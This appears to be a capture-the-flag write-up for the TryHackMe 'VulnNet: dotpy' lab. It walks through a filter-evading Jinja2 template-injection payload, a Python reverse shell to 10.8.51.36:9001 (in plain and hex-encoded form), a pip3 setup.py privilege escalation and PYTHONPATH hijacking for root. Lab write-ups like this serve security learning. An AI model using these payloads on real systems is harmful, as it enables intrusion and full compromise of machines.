Post

THM VulnNet Dotpy

VulnNet: dotpy room

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 17:30 +07
Nmap scan report for 10.10.87.9
Host is up (0.23s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
| http-title: VulnNet Entertainment -  Login  | Discover
|_Requested resource was http://10.10.87.9:8080/login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.43 seconds

See only port 8080 is open with backend developed by python3.6.9

Web Enumeration

After analyze web page –> SSTI in 404 page.

We can try some payloads

1
2
3
{{ config }}
{% debug %}
{{ ().__class__.__base__.__subclasses__() }}

And see server block some characters.

Brute-force with ‘Intruder’, we can find character that was blocked.

After research, we can run payload on this site

Without {{ . [ ] }} _

1
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}

We can use useful tool ctf-party to convert payload to hex

Shell code that we use:

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.51.36",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Converted to hex:

1
\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x2c\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2c\x6f\x73\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x73\x6f\x63\x6b\x65\x74\x2e\x41\x46\x5f\x49\x4e\x45\x54\x2c\x73\x6f\x63\x6b\x65\x74\x2e\x53\x4f\x43\x4b\x5f\x53\x54\x52\x45\x41\x4d\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x38\x2e\x35\x31\x2e\x33\x36\x22\x2c\x39\x30\x30\x31\x29\x29\x3b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x30\x29\x3b\x20\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x31\x29\x3b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x32\x29\x3b\x69\x6d\x70\x6f\x72\x74\x20\x70\x74\x79\x3b\x20\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x62\x61\x73\x68\x22\x29\x27

With sudo -l we can run pip3 install with user system-adm

1
2
3
4
5
6
7
8
web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -l
sudo -l                                                                                                              
Matching Defaults entries for web on vulnnet-dotpy:                                                                  
    env_reset, mail_badpass,                                                                                         
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                         
                                                                                                                     
User web may run the following commands on vulnnet-dotpy:                                                            
    (system-adm) NOPASSWD: /usr/bin/pip3 install *

Search on GTFOBins we can privilege escalation to system-adm user.

1
2
3
web@vulnnet-dotpy:~$ mkdir /tmp/pwn && TF=/tmp/pwn
web@vulnnet-dotpy:~$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.51.36",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' > $TF/setup.py
sudo -u system-adm /usr/bin/pip3 install $TF

And listen on other terminal –> got shell from system-adm

GOT USER FLAG

Privilege Escalation

1
2
3
4
5
6
7
system-adm@vulnnet-dotpy:~$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User system-adm may run the following commands on vulnnet-dotpy:
    (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py

SETENV allows to set an en viroment variable.

Let’s look at /opt/backup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from datetime import datetime
from pathlib import Path
import zipfile


OBJECT_TO_BACKUP = '/home/manage'  # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups'  # The location to store the backups in
MAX_BACKUP_AMOUNT = 300  # The maximum amount of backups to have in BACKUP_DIRECTORY


object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists()  # Validate the object we are about to backup exists before we continue

# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)                                                                                                                                                                                     
                                                                                                                                                                                                                                             
# Get the amount of past backup zips in the backup directory already                                                                                                                                                                         
existing_backups = [                                                                                                                                                                                                                         
    x for x in backup_directory_path.iterdir()                                                                                                                                                                                               
    if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')                                                                                                                                                                   
]                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                             
# Enforce max backups and delete oldest if there will be too many after the new backup                                                                                                                                                       
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))                                                                                                                                                       
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT:  # >= because we will have another soon                                                                                                                                     
    backup_to_delete = oldest_to_newest_backup_by_name.pop(0)                                                                                                                                                                                
    backup_to_delete.unlink()                                                                                                                                                                                                                
                                                                                                                                                                                                                                             
# Create zip file (for both file and folder options)                                                                                                                                                                                         
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'                                                                                                                                      
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')                                                                                                                                                          
if object_to_backup_path.is_file():                                                                                                                                                                                                          
    # If the object to write is a file, write the file                                                                                                                                                                                       
    zip_file.write(                                                                                                                                                                                                                          
        object_to_backup_path.absolute(),                                                                                                                                                                                                    
        arcname=object_to_backup_path.name,                                                                                                                                                                                                  
        compress_type=zipfile.ZIP_DEFLATED                                                                                                                                                                                                   
    )                                                                                                                                                                                                                                        
elif object_to_backup_path.is_dir():                                                                                                                                                                                                         
    # If the object to write is a directory, write all the files                                                                                                                                                                             
    for file in object_to_backup_path.glob('**/*'):                                                                                                                                                                                          
        if file.is_file():                                                                                                                                                                                                                   
            zip_file.write(                                                                                                                                                                                                                  
                file.absolute(),                                                                                                                                                                                                             
                arcname=str(file.relative_to(object_to_backup_path)),                                                                                                                                                                        
                compress_type=zipfile.ZIP_DEFLATED                                                                                                                                                                                           
            )                                                                                                                                                                                                                                
# Close the created zip file
zip_file.close()

We don’t need understand what the script does, we can set PYTHONPATH and the script will try to load the modules from here when importing.

1
2
3
4
5
system-adm@vulnnet-dotpy:/tmp$ mkdir priv
system-adm@vulnnet-dotpy:/tmp$ cd priv
system-adm@vulnnet-dotpy:/tmp/priv$ echo 'import pty;pty.spawn("/bin/bash")' > /tmp/priv/zipfile.py
system-adm@vulnnet-dotpy:/tmp/priv$ sudo -u root PYTHONPATH=/tmp/priv /usr/bin/python3 /opt/backup.py
root@vulnnet-dotpy:/tmp/priv# 

GOT ROOT FLAG

This post is licensed under CC BY 4.0 by the author.